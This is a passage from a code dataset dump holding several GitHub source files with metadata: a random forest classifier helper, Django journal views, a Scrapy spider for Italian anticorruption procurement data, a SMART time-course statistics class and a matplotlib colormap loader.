across 100 different combinations, and use all available cores\n rf_random = RandomizedSearchCV(estimator = classifier, param_distributions = random_grid, n_iter = 100, cv = 3, verbose=2, random_state=42, n_jobs = -1)\n # Fit the random search model\n rf_random.fit(X_train, y_train)\n return rf_random\n\ndef rfc(X_train, y_train, X_test, y_test, labels, n_est, mss, msl, mf, bt):\n # Fitting Random Forest Classification to the Training set\n classifier = RandomForestClassifier(n_estimators = n_est, min_samples_split=mss, min_samples_leaf=msl, max_features=mf, bootstrap= bt, criterion = 'entropy', random_state = 42)\n classifier.fit(X_train, y_train)\n\n y_pred = classifier.predict(X_test)\n\n accuracy = accuracy_score(y_test, y_pred)\n\n # matrix = confusion_matrix(y_test, y_pred)\n\n y_test = np.vectorize(labels.get)(y_test)\n y_pred = np.vectorize(labels.get)(y_pred)\n\n # Confusion matrix\n print('Results of Random Forest Classifier-')\n df_cm = pd.crosstab(y_test, y_pred, rownames=['Actual move'], colnames=['Predicted move'])\n print(df_cm)\n print(\"Accuracy:\", accuracy)\n\n plt.figure(figsize = (12, 10))\n sn.heatmap(df_cm, annot=True)\n", "repo_name": "MeLoveCarbs/CG4002", "sub_path": "sw1_ml/src/model/random_forest.py", "file_name": "random_forest.py", "file_ext": "py", "file_size_in_byte": 2568, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.linspace", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.model_selection.RandomizedSearchCV", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.crosstab", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 62, "usage_type": "call"}]} {"seq_id": "36800062569", "text": "from django.shortcuts import render, redirect\nfrom django.db.models import Q\nfrom .models import Entry\nfrom .forms import EntryForm\n\ndef index(request):\n entries = Entry.objects.order_by('-date_posted')\n\n context = {'entries' : entries}\n\n return render(request, 'entries/journal.html', context)\n\ndef add(request):\n if request.method == 'POST':\n form = EntryForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = EntryForm()\n\n context = {'form' : form}\n return render(request, 'entries/add.html', context)\n\ndef editEntry(request, pk):\n entry = Entry.objects.get(id=pk)\n\n form = EntryForm(instance=entry)\n\n if request.method == 'POST':\n form = EntryForm(request.POST, instance=entry)\n if form.is_valid():\n form.save()\n return redirect('/')\n\n context = {'form' : form}\n\n return render(request, 'entries/update.html', context)\n\ndef deleteEntry(request, pk):\n entry = Entry.objects.get(id=pk)\n\n if request.method == 'POST':\n entry.delete()\n return redirect('/')\n\n context = {'entry' : entry}\n return render(request, 'entries/delete.html', context)\n\ndef search(request):\n query = request.GET.get('q','')\n if query:\n queryset = (Q(title__icontains=query) | Q(text__icontains=query))\n results = Entry.objects.filter(queryset).distinct()\n else:\n results = []\n \n return render(request, 'entries/search.html', {'results':results, 'query':query})\n", "repo_name": "mimimysam/django_journal", "sub_path": "quarjournal/entries/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1549, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.Entry.objects.order_by", "line_number": 7, "usage_type": "call"}, {"api_name": "models.Entry.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "models.Entry", "line_number": 7, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 11, "usage_type": "call"}, {"api_name": "forms.EntryForm", "line_number": 15, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 18, "usage_type": "call"}, {"api_name": "forms.EntryForm", "line_number": 20, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Entry.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Entry.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Entry", "line_number": 26, "usage_type": "name"}, {"api_name": "forms.EntryForm", "line_number": 28, "usage_type": "call"}, {"api_name": "forms.EntryForm", "line_number": 31, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Entry.objects.get", "line_number": 41, "usage_type": "call"}, {"api_name": "models.Entry.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "models.Entry", "line_number": 41, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 45, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 53, "usage_type": "call"}, {"api_name": "models.Entry.objects.filter", "line_number": 54, "usage_type": "call"}, {"api_name": "models.Entry.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.Entry", "line_number": 54, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}]} {"seq_id": "23402539142", "text": "import json\n\nimport scrapy\n\nfrom kingfisher_scrapy.base_spiders import SimpleSpider\nfrom kingfisher_scrapy.util import components, handle_http_error\n\n\nclass ItalyANAC(SimpleSpider):\n \"\"\"\n Domain\n Autorità Nazionale Anticorruzione (ANAC)\n API documentation\n https://dati.anticorruzione.it/opendata/about\n Bulk download documentation\n https://dati.anticorruzione.it/opendata/organization/anticorruzione\n \"\"\"\n name = 'italy_anac'\n download_timeout = 99999\n\n # SimpleSpider\n data_type = 'release_package'\n\n def start_requests(self):\n url = 'https://dati.anticorruzione.it/opendata/api/3/action/package_search?q=ocds'\n yield scrapy.Request(url, meta={'file_name': 'package_search.json'}, callback=self.parse_list)\n\n @handle_http_error\n def parse_list(self, response):\n data = response.json()\n for result in data['result']['results']:\n for resource in result['resources']:\n if resource['format'].upper() == 'JSON':\n yield self.build_request(resource['url'], formatter=components(-2))\n\n @handle_http_error\n def parse(self, response):\n data = response.json()\n for release in data['releases']:\n # Kingfisher Process merges only releases with ocids. Extract the ocid from the release id as a fallback.\n # For example: ocds-hu01ve-7608611 from ocds-hu01ve-7608611-01.\n if 'ocid' not in release:\n release['ocid'] = '-'.join(release['id'].split('-')[:3])\n response = response.replace(body=json.dumps(data))\n yield from super().parse(response)\n", "repo_name": "open-contracting/kingfisher-collect", "sub_path": "kingfisher_scrapy/spiders/italy_anac.py", "file_name": "italy_anac.py", "file_ext": "py", "file_size_in_byte": 1637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "7", "api": [{"api_name": "kingfisher_scrapy.base_spiders.SimpleSpider", "line_number": 9, "usage_type": "name"}, {"api_name": "scrapy.Request", "line_number": 26, "usage_type": "call"}, {"api_name": "kingfisher_scrapy.util.components", "line_number": 34, "usage_type": "call"}, {"api_name": "kingfisher_scrapy.util.handle_http_error", "line_number": 28, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "kingfisher_scrapy.util.handle_http_error", "line_number": 36, "usage_type": "name"}]} {"seq_id": "14415727962", "text": "from django.db.models.aggregates import Count\nfrom django.db.models.query import QuerySet\nfrom whatwasthatbookcalled.books.models import Book\n\n\ndef get_by_id(id):\n return Book.objects.get(id=id)\n\n\ndef get_all():\n return Book.objects.all()\n\n\ndef filter_all_by_GET_params(get_req):\n filter_params = [\"language\", \"genre\", \"solved\"]\n filters = {}\n for f in filter_params:\n value = get_req.get(f)\n if value is not None and value != \"\":\n filters[f] = value\n\n books = Book.objects.filter(**filters).only(\n \"year_read\",\n \"plot_details\",\n \"cover_description\",\n \"quotes\",\n \"solved\",\n \"genre\",\n \"last_modified\",\n \"filled_fields_count\",\n )\n\n return books\n\n\ndef sort_filtered_by_GET_params(get_req, filtered_books):\n sort_by = get_req.get(\"sort_by\")\n reverse_order = get_req.get(\"reverse_order\")\n order_prefix = \"\" if reverse_order else \"-\"\n\n if sort_by is None or sort_by == \"date\":\n books = filtered_books.order_by(order_prefix + \"last_modified\")\n elif sort_by == \"info-amount\":\n books = filtered_books.order_by(order_prefix + \"filled_fields_count\")\n elif sort_by == \"popularity\":\n books = filtered_books.annotate(comment_count_sort=Count(\"comment\")).order_by(\n order_prefix + \"comment_count_sort\"\n )\n\n return books\n\n\ndef get_book_with_user_and_filled_fields(form, user):\n book = form.save(commit=False)\n\n book.user = user\n\n filled_fields = [\n x\n for x in form.cleaned_data.values()\n if x != \"\" and x is not None and not (isinstance(x, QuerySet) and len(x) == 0)\n ]\n book.filled_fields_count = len(filled_fields)\n\n return book\n\n\ndef get_comment_with_user_and_book(form, user, book):\n comment = form.save(commit=False)\n comment.user = user\n comment.book = book\n return comment\n", "repo_name": "fiorin7/whatwasthatbookcalled", "sub_path": "whatwasthatbookcalled/books/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 1881, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "whatwasthatbookcalled.books.models.Book.objects.get", "line_number": 7, "usage_type": "call"}, {"api_name": "whatwasthatbookcalled.books.models.Book.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "whatwasthatbookcalled.books.models.Book", "line_number": 7, "usage_type": "name"}, {"api_name": "whatwasthatbookcalled.books.models.Book.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "whatwasthatbookcalled.books.models.Book.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "whatwasthatbookcalled.books.models.Book", "line_number": 11, "usage_type": "name"}, {"api_name": "whatwasthatbookcalled.books.models.Book.objects.filter", "line_number": 22, "usage_type": "call"}, {"api_name": "whatwasthatbookcalled.books.models.Book.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "whatwasthatbookcalled.books.models.Book", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.aggregates.Count", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models.query.QuerySet", "line_number": 61, "usage_type": "argument"}]} {"seq_id": "27928730460", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 24 11:53:01 2018\r\n\r\n@author: Jonathan van Leeuwen\r\n\"\"\"\r\nimport numpy as np\r\nimport scipy\r\nimport scipy.stats as st\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport SMART_Funcs as SF\r\n\r\n\r\nclass SMART:\r\n def __init__(self, fileN, dv1, t1, dv2=None,t2=None):\r\n # Set defaults\r\n self.testType= 'bl'\r\n self.fileN = fileN\r\n self.dv1 = dv1\r\n self.t1 = t1\r\n self.dv2 = dv2\r\n self.t2 = t2\r\n if dv2 and t2:\r\n self.testType='cond'\r\n # Smoothing inputs\r\n self.krnSize = None\r\n self.timeMin = None\r\n self.timeMax = None\r\n self.stepSize = None \r\n # Smoothing containers\r\n self.smooth_dv1 = None\r\n self.weights_dv1 = None\r\n self.smooth_dv2 = None\r\n self.weights_dv2 = None\r\n # Permutation params\r\n self.nPerms = None\r\n self.baseline = None\r\n # Permutation containers\r\n self.permData1 = None\r\n self.permWeight1 = None \r\n # Stats inputs\r\n self.sigLevel = 0.05\r\n self.statTest = scipy.stats.ttest_rel\r\n # Plotting inputs\r\n self.lineColor1 = [250,0,0]\r\n self.lineColor2 = [0,0,255]\r\n self.lineWidth = 2\r\n self.markerOffset = 0.75\r\n self.markerSize = 10\r\n self.xLabelSize = 20\r\n self.yLabelSize = 20\r\n self.yMin = -0.5\r\n self.yMax = 1.5\r\n self.histRes = 100 \r\n # Plotting vars\r\n self.baselineX = None\r\n self.baselineY = None\r\n # Load data \r\n self.data = pd.read_pickle(self.fileN)\r\n self.nPP = len(self.data) \r\n \r\n def runSmooth(self, krnSize, timeMin, timeMax, stepSize):\r\n self.krnSize = krnSize\r\n self.timeMin = timeMin\r\n self.timeMax = timeMax\r\n self.stepSize = stepSize\r\n self.timeVect = np.arange(timeMin, timeMax, stepSize, dtype=float)\r\n self.smooth_dv1 = np.zeros((self.nPP, len(self.timeVect)))\r\n self.weights_dv1 = np.zeros((self.nPP, len(self.timeVect)))\r\n if self.testType == 'bl':\r\n self.__oneSamp__()\r\n else:\r\n self.smooth_dv2 = np.zeros((self.nPP, len(self.timeVect)))\r\n self.weights_dv2 = np.zeros((self.nPP, len(self.timeVect)))\r\n self.__twoSamp__()\r\n \r\n def runPermutations(self, nPerms=1000, baseline=0): \r\n self.nPerms = nPerms\r\n self.baseline = baseline\r\n self.permData1 = np.zeros((self.nPP, len(self.timeVect), self.nPerms))\r\n self.permWeight1 = np.zeros((self.nPP, len(self.timeVect), self.nPerms))\r\n self.permData2 = np.zeros((self.nPP, len(self.timeVect), self.nPerms))\r\n self.permWeight2 = np.zeros((self.nPP, len(self.timeVect), self.nPerms))\r\n if self.testType == 'bl':\r\n self.__oneSampPerm__()\r\n else:\r\n self.__twoSampPerm__()\r\n\r\n def runStats(self, sigLevel=0.05):\r\n self.sigLevel = sigLevel\r\n if self.testType == 'bl':\r\n self.__oneSampStats__()\r\n else:\r\n self.__twoSampStats__()\r\n \r\n def runPlot(self, lineColor1='',lineColor2='',lineWidth='', markerOffset='', \r\n markerSize='', xLabelSize='', yLabelSize='',yMin='', yMax='',\r\n histRes=''):\r\n # Ploting params\r\n self.lineColor1 = self.lineColor1 if not lineColor1 else lineColor1\r\n self.lineColor2 = self.lineColor2 if not lineColor1 else lineColor2\r\n self.lineWidth = self.lineWidth if not lineWidth else lineWidth\r\n self.markerOffset = self.markerOffset if not markerOffset else markerOffset\r\n self.markerSize = self.markerSize if not markerSize else markerSize\r\n self.xLabelSize = self.xLabelSize if not xLabelSize else xLabelSize\r\n self.yLabelSize = self.yLabelSize if not yLabelSize else yLabelSize\r\n self.yMin = self.yMin if not yMin else yMin\r\n self.yMax = self.yMax if not yMax else yMax\r\n self.histRes = self.histRes if not histRes else histRes\r\n # Make plot variables\r\n self.lineColor1 =([i/255.0 for i in self.lineColor1])\r\n self.lineColor2 =([i/255.0 for i in self.lineColor2])\r\n # Initiate plot\r\n self.fig, (self.ax1, self.ax2) = plt.subplots(2,1)\r\n plt.suptitle('Smoothing Method for Analysis of Response Time-course: SMART', fontsize=self.xLabelSize)\r\n\r\n if self.testType == 'bl':\r\n self.baselineX = np.arange(self.timeMin, self.timeMax, 1)\r\n self.baselineY = np.zeros(len(self.baselineX))+self.baseline\r\n self.__oneSamplePlot__()\r\n else:\r\n self.__twoSamplePlot__()\r\n\r\n #==============================================================================\r\n # One sample functions\r\n #==============================================================================\r\n def __oneSamp__(self):\r\n # Run one samp smoothing\r\n for i in range(self.nPP):\r\n # Extract data for participant\r\n depV = self.data[self.dv1][i]\r\n times = self.data[self.t1][i]\r\n self.smooth_dv1[i, :], self.weights_dv1[i,:] = SF.gaussSmooth(times, depV, self.timeVect, self.krnSize) \r\n # Weigh the data\r\n self.weighDv1Average = np.average(self.smooth_dv1, weights = self.weights_dv1, axis=0)\r\n \r\n def __oneSampPerm__(self):\r\n # Run one samp pemrutation\r\n for i in range(self.nPP):\r\n # Extract data for participant \r\n depV1 = self.data[self.dv1][i] \r\n times1 = self.data[self.t1][i]\r\n # Run Permutations Between conditions\r\n self.permData1[i,:,:], self.permWeight1[i,:,:], self.permData2[i,:,:], self.permWeight2[i,:,:] = SF.permute(\r\n times1, \r\n depV1, \r\n newX= self.timeVect, \r\n sigma=self.krnSize, \r\n nPerms=self.nPerms, \r\n baseline=self.baseline\r\n )\r\n \r\n def __oneSampStats__(self):\r\n # Extract clusters\r\n self.sigCL, self.sumTvals = SF.clusterStat_oneSamp(self.smooth_dv1, self.weights_dv1, self.baseline, self.sigLevel)\r\n\r\n # Calculate permutation distributions and significance thresholds\r\n self.permDistr = SF.permuteClusterStat(self.permData1, self.permData2, self.permWeight1, self.permWeight2, self.sigLevel)\r\n self.sigThres = np.percentile(self.permDistr, 100-(self.sigLevel*100))\r\n \r\n # Calculate 95 confidence intervals\r\n self.conf95 = SF.weighConfOneSample95(self.smooth_dv1, self.weights_dv1)\r\n\r\n def __oneSamplePlot__(self):\r\n # Plot smoothed data\r\n self.ax1.plot(self.timeVect, self.weighDv1Average, color=self.lineColor1, linewidth=self.lineWidth)\r\n self.ax1.plot(self.baselineX, self.baselineY,'k', ls='--', linewidth=1)\r\n \r\n # Plot confidence intervals\r\n self.ax1.fill_between(self.timeVect, \r\n self.weighDv1Average-self.conf95, \r\n self.weighDv1Average+self.conf95, \r\n color=self.lineColor1, \r\n alpha=0.25)\r\n\r\n # Plot significant time points\r\n for ind, i in enumerate(self.sigCL):\r\n self.ax1.plot(self.timeVect[i], self.weighDv1Average[i], 'k-', lineWidth=self.lineWidth*1.5)\r\n # Plot asterix for signficant clusters\r\n if self.sumTvals[ind] >= self.sigThres:\r\n xPos = np.average(self.timeVect[i])\r\n yPos = np.max(self.weighDv1Average[int(np.mean(i))])+self.markerOffset+self.conf95[int(np.mean(i))] \r\n if yPos >= self.yMax:\r\n yPos = self.yMax-0.5\r\n self.ax1.plot(xPos,yPos, 'k*', ms=self.markerSize)\r\n\r\n self.ax1.set_xlim(self.timeMin, self.timeMax-1)\r\n self.ax1.set_ylim(self.yMin, self.yMax)\r\n self.ax1.legend([self.dv1,'Baseline'],loc=1)\r\n self.ax1.set_xlabel(self.t1, fontsize=self.xLabelSize)\r\n self.ax1.set_ylabel(self.dv1, size=self.yLabelSize)\r\n \r\n # Plot permutation distributions\r\n self.ax2.hist(self.permDistr, self.histRes)\r\n self.ax2.plot([self.sigThres,self.sigThres], self.ax2.get_ylim(), color='r', linewidth=2)\r\n for idx, tV in enumerate(self.sumTvals):\r\n self.ax2.plot([tV, tV], self.ax2.get_ylim(), color='k', linewidth=2)\r\n self.ax2.legend(['Sig Threshold: '+str(self.sigLevel), 'Cluster(s)'],loc=1)\r\n # Set xaxis\r\n self.ax2.set_xlabel('Sum of cluster t-values', fontsize=self.xLabelSize)\r\n self.ax2.set_ylabel(\"Frequency (log)\", size=self.yLabelSize)\r\n self.ax2.set_yscale('log')\r\n\r\n # Plot kernel density estimation KDE\r\n sTimes, unqT, countT = SF.getKDE(np.hstack(self.data[self.t1]),self.timeVect, self.krnSize)\r\n maxT = np.max(sTimes)*8\r\n self.ax1_1 = self.ax1.twinx()\r\n self.ax1_1.plot(self.timeVect, sTimes, '--k', alpha = 0.3)\r\n self.ax1_1.bar(unqT, countT, color='k', alpha = 0.3)\r\n self.ax1_1.set_ylim(0, maxT)\r\n self.ax1_1.legend(['KDE'],loc=4) \r\n self.ax1_1.set_yticks(np.linspace(0,np.max(sTimes),3, dtype=int))\r\n\r\n #==============================================================================\r\n # Two sample functions\r\n #==============================================================================\r\n def __twoSamp__(self):\r\n for i in range(self.nPP):\r\n # Extract data for participant \r\n depV1 = self.data[self.dv1][i] \r\n times1 = self.data[self.t1][i]\r\n depV2 = self.data[self.dv2][i]\r\n times2 = self.data[self.t2][i]\r\n # Run Smoothing\r\n self.smooth_dv1[i, :], self.weights_dv1[i,:] = SF.gaussSmooth(times1, depV1, self.timeVect, self.krnSize)\r\n self.smooth_dv2[i, :], self.weights_dv2[i,:] = SF.gaussSmooth(times2, depV2, self.timeVect, self.krnSize)\r\n\r\n # Weigh the data \r\n self.weighDv1Average = np.average(self.smooth_dv1, weights = self.weights_dv1, axis=0)\r\n self.weighDv2Average = np.average(self.smooth_dv2, weights = self.weights_dv2, axis=0)\r\n \r\n def __twoSampPerm__(self):\r\n for i in range(self.nPP):\r\n # Extract data for participant \r\n depV1 = self.data[self.dv1][i] \r\n times1 = self.data[self.t1][i]\r\n depV2 = self.data[self.dv2][i]\r\n times2 = self.data[self.t2][i]\r\n\r\n # Run Permutations Between conditions\r\n self.permData1[i,:,:], self.permWeight1[i,:,:], self.permData2[i,:,:], self.permWeight2[i,:,:] = SF.permute(times1, depV1, times2, depV2, self.timeVect, self.krnSize, self.nPerms)\r\n \r\n def __twoSampStats__(self):\r\n # Extract clusters\r\n self.sigCL, self.sumTvals = SF.clusterStat_rel(self.smooth_dv1, self.smooth_dv2, self.weights_dv1, self.weights_dv2, self.sigLevel)\r\n \r\n # Calculate permutation distributions and significance thresholds\r\n # Weighted permutations\r\n self.permDistr = SF.permuteClusterStat(self.permData1, self.permData2, self.permWeight1, self.permWeight2, self.sigLevel)\r\n self.sigThres = np.percentile(self.permDistr, 100-(self.sigLevel*100))\r\n \r\n # Calculate 95 confidence intervals\r\n self.conf95 = SF.weighPairedConf95(self.smooth_dv1, self.smooth_dv2, self.weights_dv1, self.weights_dv2)\r\n \r\n def __twoSamplePlot__(self):\r\n # Plot smoothed data\r\n self.ax1.plot(self.timeVect, self.weighDv1Average, color=self.lineColor1, linewidth=self.lineWidth)\r\n self.ax1.plot(self.timeVect, self.weighDv2Average, color=self.lineColor2, linewidth=self.lineWidth)\r\n \r\n # Plot confidence intervals\r\n self.ax1.fill_between(self.timeVect, \r\n self.weighDv1Average-self.conf95, \r\n self.weighDv1Average+self.conf95, \r\n color=self.lineColor1, \r\n alpha=0.25)\r\n self.ax1.fill_between(self.timeVect, \r\n self.weighDv2Average-self.conf95, \r\n self.weighDv2Average+self.conf95, \r\n color=self.lineColor2, \r\n alpha=0.25)\r\n\r\n \r\n # Plot significant time points\r\n for ind, i in enumerate(self.sigCL):\r\n self.ax1.plot(self.timeVect[i], self.weighDv1Average[i], 'k-', lineWidth=self.lineWidth*1.5)\r\n self.ax1.plot(self.timeVect[i], self.weighDv2Average[i], 'k-', lineWidth=self.lineWidth*1.5)\r\n # Plot asterix for signficant clusters\r\n if self.sumTvals[ind] >= self.sigThres:\r\n xPos = np.average(self.timeVect[i])\r\n yPos = np.max([self.weighDv1Average[int(np.mean(i))], self.weighDv2Average[int(np.mean(i))]])+self.markerOffset+np.max(self.conf95[int(np.mean(i))])\r\n if yPos >= self.yMax:\r\n yPos = self.yMax-0.5\r\n self.ax1.plot(xPos,yPos, 'k*', ms=self.markerSize)\r\n\r\n self.ax1.set_xlim(self.timeMin, self.timeMax-1)\r\n self.ax1.set_ylim(self.yMin, self.yMax)\r\n self.ax1.legend([self.dv1, self.dv2,'Sig. difference'],loc=1)\r\n self.ax1.set_xlabel('Time', fontsize=self.xLabelSize)\r\n self.ax1.set_ylabel('Dep.var', size=self.yLabelSize)\r\n \r\n # Plot permutation distributions\r\n self.ax2.hist(self.permDistr, self.histRes)\r\n self.ax2.plot([self.sigThres,self.sigThres], self.ax2.get_ylim(), color='r', linewidth=2)\r\n for idx, tV in enumerate(self.sumTvals):\r\n self.ax2.plot([tV, tV], self.ax2.get_ylim(), color='k', linewidth=2)\r\n self.ax2.legend(['Sig Threshold: '+str(self.sigLevel), 'Cluster(s)'],loc=1)\r\n # Set xaxis\r\n self.ax2.set_xlabel('Sum of cluster t-values', fontsize=self.xLabelSize)\r\n self.ax2.set_ylabel(\"Frequency (log)\", size=self.yLabelSize)\r\n self.ax2.set_yscale('log')\r\n\r\n # Plot kernel density estimation KDE\r\n sTimes1, unqT1, countT1 = SF.getKDE(np.hstack(self.data[self.t1]),self.timeVect, self.krnSize)\r\n sTimes2, unqT2, countT2 = SF.getKDE(np.hstack(self.data[self.t2]),self.timeVect, self.krnSize)\r\n maxT = np.max(np.hstack([sTimes1, sTimes2]))*8\r\n self.ax1_1 = self.ax1.twinx()\r\n self.ax1_1.plot(self.timeVect, sTimes1, '--k', alpha = 0.6)\r\n self.ax1_1.plot(self.timeVect, sTimes2, '-k', alpha = 0.3)\r\n self.ax1_1.bar(unqT1, countT1, color='k', alpha = 0.6)\r\n self.ax1_1.bar(unqT2, countT2, color='k', alpha = 0.3)\r\n self.ax1_1.set_ylim(0, maxT)\r\n self.ax1_1.legend(['KDE_1', 'KDE_2'],loc=4) \r\n self.ax1_1.set_yticks(np.linspace(0,np.max(np.hstack([sTimes1, sTimes2])),3, dtype=int))\r\n\r\n\r\n\r\n \r\n \r\n ", "repo_name": "jonathanvanleeuwen/SMART", "sub_path": "SMARTClass.py", "file_name": "SMARTClass.py", "file_ext": "py", "file_size_in_byte": 15019, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scipy.stats", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pandas.read_pickle", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 120, "usage_type": "call"}, {"api_name": "SMART_Funcs.gaussSmooth", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 136, "usage_type": "call"}, {"api_name": "SMART_Funcs.permute", "line_number": 145, "usage_type": "call"}, {"api_name": "SMART_Funcs.clusterStat_oneSamp", "line_number": 156, "usage_type": "call"}, {"api_name": "SMART_Funcs.permuteClusterStat", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 160, "usage_type": "call"}, {"api_name": "SMART_Funcs.weighConfOneSample95", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 183, "usage_type": "call"}, {"api_name": "SMART_Funcs.getKDE", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 213, "usage_type": "call"}, {"api_name": "SMART_Funcs.gaussSmooth", "line_number": 226, "usage_type": "call"}, {"api_name": "SMART_Funcs.gaussSmooth", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 231, "usage_type": "call"}, {"api_name": "SMART_Funcs.permute", "line_number": 242, "usage_type": "call"}, {"api_name": "SMART_Funcs.clusterStat_rel", "line_number": 246, "usage_type": "call"}, {"api_name": "SMART_Funcs.permuteClusterStat", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 251, "usage_type": "call"}, {"api_name": "SMART_Funcs.weighPairedConf95", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 281, "usage_type": "call"}, {"api_name": "SMART_Funcs.getKDE", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 304, "usage_type": "call"}, {"api_name": "SMART_Funcs.getKDE", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 314, "usage_type": "call"}]} {"seq_id": "86388271473", "text": "\"\"\"\nCustom colormaps reading and scaling.\n\"\"\"\n\nimport numpy\nimport copy\nimport matplotlib\n\n\n#: No automatic export\n__all__ = []\n\n\ndef read_cmap(sourcefile):\n r\"\"\"\n Read and creates a custom Colormap from a set of RGB colors in a file with the\n following formating::\n\n r1,g1,b1;\\n\n r2,g2,b2;\\n\n ...\\n\n rn,gn,bn\n\n each value being comprised between 0 and 255, or 0 and 1.\n\n :param sourcefile: opened file-like object to read colormap from.\n \"\"\"\n colors = sourcefile.readlines()\n for i in range(len(colors)):\n colors[i] = colors[i].replace(';', '')\n colors[i] = colors[i].replace('[', '')\n colors[i] = colors[i].replace(']', '')\n colors[i] = colors[i].replace('\\n', '')\n colors[i] = colors[i].split(',')\n colors = numpy.array(colors, dtype=numpy.float64)\n if colors.max() > 1.:\n colors /= 255.\n return matplotlib.colors.ListedColormap(colors)\n\n\ndef add_cmap(cmap, sourcefile):\n \"\"\"\n Reads and registers the given colormap in matplotlib.\n\n :param cmap: name of the colormap, to be registered under and used then\n :param sourcefile: opened file-like object to read the colormap in.\n \"\"\"\n plt = matplotlib.pyplot\n if cmap not in plt.colormaps():\n plt.register_cmap(name=cmap,\n cmap=read_cmap(sourcefile))\n else:\n raise ValueError('this colormap is already registered: 